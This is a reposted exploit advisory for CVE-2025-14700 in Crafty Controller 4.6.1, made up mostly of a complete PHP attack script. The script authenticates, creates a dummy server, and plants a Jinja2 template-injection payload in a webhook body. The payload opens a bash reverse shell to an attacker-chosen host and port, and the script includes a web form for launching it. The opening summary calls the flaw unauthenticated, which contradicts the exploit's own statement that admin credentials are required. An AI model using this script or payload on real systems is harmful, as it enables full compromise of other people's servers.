Crafty Controller 4.6.1 was plagued by a critical Server-Side Template Crafty Controller 4.6.1 was plagued by a critical Server-Side Template Injection (SSTI) vulnerability. This flaw allowed unauthenticated attackers to achieve Remote Code Execution (RCE) on the underlying server.
The vulnerability stemmed from inadequate sanitization of user-supplied input. Attackers could inject malicious template syntax into specific fields within the web interface. When the server's template engine processed this input, it would interpret and execute the injected code.
This granted attackers full control over the server hosting Crafty Controller, enabling them to run arbitrary commands. The flaw affected version 4.6.1 and earlier, necessitating immediate upgrades to patched versions to mitigate this severe security risk.
=============================================================================================================================================
| # Title : Crafty Controller 4.6.1 authenticated RCE via Server-Side Template Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://craftycontrol.com/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/213042/ & CVE-2025-14700
[+] Summary : This PHP script is a complete port of a Python exploit targeting CVE-2025-14700, a critical vulnerability in the Crafty Controller Minecraft server management platform.
The exploit chain allows authenticated remote attackers to execute arbitrary system commands on the target server through Server-Side Template Injection (SSTI) in the webhook configuration feature.
[+] Exploitation Chain:
1- Authentication Bypass & Token Harvesting
Retrieves initial XSRF token from login page
Authenticates with admin credentials to obtain JWT token
Maintains session cookies throughout the attack
2- Server Creation for Payload Delivery
Creates a dummy Minecraft server via API
Required to access the vulnerable webhook configuration endpoint
3- SSTI Payload Injection
Injects malicious Jinja2 template into Discord webhook configuration
Uses cycler.__init__.__globals__.os.system() to escape template sandbox
Embeds reverse shell command for remote access
4- Triggering the Vulnerability
Emulates browser requests to trigger server start action
Executes EULA confirmation to initialize the server
The template is rendered during server initialization, executing the payload
[+] Technical Details:
Vulnerable Component: Webhook configuration in /api/v2/servers/{id}/webhook
Attack Vector: Authenticated SSTI ? RCE
Privileges Required: Admin credentials
Impact: Full system compromise via reverse shell
Default Port: 8443 (HTTPS)
[+] CODE : php exploit.php --url=https://target.com:8443 --login=admin --password=password --lhost=192.168.1.100 --lport=4444
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// Reverse Shell Template
define('REVSHELL_TEMPLATE', "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'");
class CraftyExploit {
private $url;
private $login;
private $password;
private $lhost;
private $lport;
private $session;
private $cookies;
public function __construct($url, $login, $password, $lhost, $lport) {
$this->url = rtrim($url, '/');
$this->login = $login;
$this->password = $password;
$this->lhost = $lhost;
$this->lport = $lport;
$this->session = curl_init();
$this->cookies = [];
// Configure cURL options
curl_setopt($this->session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($this->session, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($this->session, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($this->session, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($this->session, CURLOPT_HEADER, true);
curl_setopt($this->session, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
}
private function request($method, $endpoint, $data = null, $headers = [], $returnHeaders = false) {
$url = $this->url . $endpoint;
curl_setopt($this->session, CURLOPT_URL, $url);
curl_setopt($this->session, CURLOPT_CUSTOMREQUEST, $method);
// Set headers
$defaultHeaders = [
'Accept: application/json, text/plain, */*',
'Accept-Language: en-US,en;q=0.9',
'Connection: keep-alive',
];
$allHeaders = array_merge($defaultHeaders, $headers);
curl_setopt($this->session, CURLOPT_HTTPHEADER, $allHeaders);
// Set cookies if any
if (!empty($this->cookies)) {
$cookieStr = '';
foreach ($this->cookies as $name => $value) {
$cookieStr .= "$name=$value; ";
}
curl_setopt($this->session, CURLOPT_COOKIE, trim($cookieStr));
}
// Set POST data
if ($method === 'POST' && $data !== null) {
if (isset($headers['Content-Type']) && strpos($headers['Content-Type'], 'application/json') !== false) {
curl_setopt($this->session, CURLOPT_POSTFIELDS, json_encode($data));
} else {
curl_setopt($this->session, CURLOPT_POSTFIELDS, $data);
}
}
$response = curl_exec($this->session);
if ($response === false) {
echo "cURL Error: " . curl_error($this->session) . "\n";
return false;
}
// Parse response
$headerSize = curl_getinfo($this->session, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $headerSize);
$body = substr($response, $headerSize);
// Update cookies from response
$this->parseCookies($headers);
// Create response object
$result = [
'status_code' => curl_getinfo($this->session, CURLINFO_HTTP_CODE),
'headers' => $headers,
'body' => $body,
'request_url' => $url,
'request_method' => $method
];
if ($returnHeaders) {
return $result;
}
return $body;
}
private function parseCookies($headers) {
$lines = explode("\n", $headers);
foreach ($lines as $line) {
if (stripos($line, 'Set-Cookie:') === 0) {
$cookie = trim(substr($line, 11));
$parts = explode(';', $cookie);
$cookiePair = explode('=', $parts[0], 2);
if (count($cookiePair) === 2) {
$this->cookies[$cookiePair[0]] = $cookiePair[1];
}
}
}
}
private function printDebugInfo($response) {
echo "\n" . str_repeat("=", 80) . "\n";
echo "[{$response['request_method']}] {$response['request_url']} -> HTTP {$response['status_code']}\n";
echo str_repeat("-", 20) . " [KEY HEADERS VALIDATION] " . str_repeat("-", 20) . "\n";
// Important headers to display
$importantHeaders = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type'];
$headers = $this->parseResponseHeaders($response['headers']);
foreach ($importantHeaders as $h) {
$hLower = strtolower($h);
foreach ($headers as $headerName => $headerValue) {
if (strtolower($headerName) === $hLower) {
echo "$h: $headerValue\n";
break;
}
}
}
echo str_repeat("-", 20) . " [RESPONSE BODY] " . str_repeat("-", 25) . "\n";
// Try to decode JSON
$json = json_decode($response['body'], true);
if (json_last_error() === JSON_ERROR_NONE) {
echo json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
} else {
// Truncate output if it's not JSON
echo (strlen($response['body']) > 200) ? substr($response['body'], 0, 200) . "..." : $response['body'];
if (empty($response['body'])) {
echo "(Empty Body)";
}
echo "\n";
}
echo str_repeat("=", 80) . "\n\n";
}
private function parseResponseHeaders($headers) {
$parsed = [];
$lines = explode("\n", $headers);
foreach ($lines as $line) {
if (strpos($line, ':') !== false) {
list($name, $value) = explode(':', $line, 2);
$parsed[trim($name)] = trim($value);
}
}
return $parsed;
}
public function apiLogin() {
echo "[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...\n";
// Get initial XSRF token
$response = $this->request('GET', '/login', null, [], true);
$xsrf = $this->cookies['_xsrf'] ?? '';
echo "[*] STEP 2: Executing authentication (XSRF: " . substr($xsrf, 0, 15) . "...)\n";
$endpoint = '/api/v2/auth/login/';
$headers = [
'Content-Type: application/json',
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/login?next=%2Fpanel%2Fdashboard',
'Origin: ' . $this->url
];
$data = [
'username' => $this->login,
'password' => $this->password
];
$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);
$responseData = json_decode($response['body'], true);
if ($response['status_code'] == 200 &&
isset($responseData['status']) &&
$responseData['status'] == 'ok' &&
isset($responseData['data']['token'])) {
return $responseData['data']['token'];
}
die("[FATAL] Login failed. Please check credentials or target connectivity.\n");
}
public function createServer($jwtToken) {
echo "[*] STEP 3: Creating exploit dummy server...\n";
$endpoint = '/api/v2/servers';
$xsrf = $this->cookies['_xsrf'] ?? '';
$headers = [
'Content-Type: application/json',
'Authorization: Bearer ' . $jwtToken,
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/panel/dashboard'
];
$data = [
'name' => 'CVE_2025_14700_Exploit_Automation',
'monitoring_type' => 'minecraft_java',
'minecraft_java_monitoring_data' => ['host' => '127.0.0.1', 'port' => 25565],
'create_type' => 'minecraft_java',
'minecraft_java_create_data' => [
'create_type' => 'download_jar',
'download_jar_create_data' => [
'category' => 'mc_java_servers',
'type' => 'paper',
'version' => '1.18.2',
'mem_min' => 1,
'mem_max' => 2,
'server_properties_port' => 25565
]
]
];
$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);
$responseData = json_decode($response['body'], true);
if (isset($responseData['data']['new_server_id'])) {
return $responseData['data']['new_server_id'];
}
die("[FATAL] Failed to create server.\n");
}
public function createHook($serverId, $lhost, $lport, $jwtToken) {
echo "[*] STEP 4: Injecting SSTI Reverse Shell payload...\n";
$endpoint = "/api/v2/servers/{$serverId}/webhook";
$xsrf = $this->cookies['_xsrf'] ?? '';
$revshellCmd = sprintf(REVSHELL_TEMPLATE, $lhost, $lport);
// Jinja2 SSTI payload
$payload = '{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system("' . $revshellCmd . '") }}';
$headers = [
'Content-Type: application/json',
'Authorization: Bearer ' . $jwtToken,
'X-XSRFToken: ' . $xsrf,
'Referer: ' . $this->url . '/panel/dashboard'
];
$data = [
'webhook_type' => 'Discord',
'name' => 'Exploit_Trigger_Hook',
'url' => 'https://localhost:8443/',
'bot_name' => 'Crafty Bot',
'trigger' => ['start_server'],
'body' => $payload,
'color' => '#c646000',
'enabled' => true
];
$response = $this->request('POST', $endpoint, $data, $headers, true);
$this->printDebugInfo($response);
}
public function triggerExploit($serverId, $jwtToken) {
echo "\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...\n";
$xsrf = $this->cookies['_xsrf'] ?? '';
$host = parse_url($this->url, PHP_URL_HOST);
// Set JWT in cookies
$this->cookies['token'] = $jwtToken;
// 1. Trigger Start Server Action
$startUrl = "/api/v2/servers/{$serverId}/action/start_server";
echo "[*] Sending start_server action request...\n";
$headers = [
'token: ' . $xsrf,
'X-XSRFToken: ' . $xsrf,
'X-Requested-With: XMLHttpRequest',
'Origin: ' . $this->url,
'Referer: ' . $this->url . '/panel/dashboard',
'Accept: */*',
'Accept-Encoding: gzip, deflate, br',
'sec-ch-ua-platform: "Windows"'
];
$response = $this->request('POST', $startUrl, '', $headers, true);
$this->printDebugInfo($response);
sleep(2);
// 2. Trigger EULA Action
$eulaUrl = "/api/v2/servers/{$serverId}/action/eula";
echo "[*] Sending EULA confirmation action request...\n";
$this->request('POST', $eulaUrl, '', $headers, false);
echo "\n[+] POC Execution completed. Check your nc listener ({$this->lhost}:{$this->lport}).\n";
}
public function run() {
$jwt = $this->apiLogin();
$serverId = $this->createServer($jwt);
$this->createHook($serverId, $this->lhost, $this->lport, $jwt);
$this->triggerExploit($serverId, $jwt);
}
public function __destruct() {
if (is_resource($this->session)) {
curl_close($this->session);
}
}
}
// Command line interface
if (PHP_SAPI === 'cli') {
$options = getopt('u:l:p:lh:lp:', [
'url:', 'login:', 'password:', 'lhost:', 'lport:'
]);
$url = $options['u'] ?? $options['url'] ?? null;
$login = $options['l'] ?? $options['login'] ?? null;
$password = $options['p'] ?? $options['password'] ?? null;
$lhost = $options['lh'] ?? $options['lhost'] ?? null;
$lport = $options['lp'] ?? $options['lport'] ?? null;
if (!$url || !$login || !$password || !$lhost || !$lport) {
echo "Usage: php " . basename(__FILE__) . " [options]\n";
echo "Options:\n";
echo " -u, --url Target base URL (e.g., https://10.67.3.77:8443)\n";
echo " -l, --login Admin username\n";
echo " -p, --password Admin password\n";
echo " -lh, --lhost Local listener IP\n";
echo " -lp, --lport Local listener port\n";
exit(1);
}
$exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
$exploit->run();
} else {
// Web interface (optional)
echo "<pre>";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$url = $_POST['url'] ?? '';
$login = $_POST['login'] ?? '';
$password = $_POST['password'] ?? '';
$lhost = $_POST['lhost'] ?? '';
$lport = $_POST['lport'] ?? '';
if ($url && $login && $password && $lhost && $lport) {
$exploit = new CraftyExploit($url, $login, $password, $lhost, (int)$lport);
$exploit->run();
} else {
echo "Please fill all fields.\n";
}
}
echo "</pre>";
?>
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-14700 Exploit</title>
</head>
<body>
<h2>CVE-2025-14700 Exploit Interface</h2>
<form method="POST">
URL: <input type="text" name="url" size="50" placeholder="https://10.67.3.77:8443"><br><br>
Login: <input type="text" name="login"><br><br>
Password: <input type="password" name="password"><br><br>
LHOST: <input type="text" name="lhost" placeholder="192.168.1.100"><br><br>
LPORT: <input type="text" name="lport" placeholder="4444"><br><br>
<input type="submit" value="Execute">
</form>
</body>
</html>
<?php
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Crafty Controller 4.6.1 Remote Code Execution / Server-Side Template Injection
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 138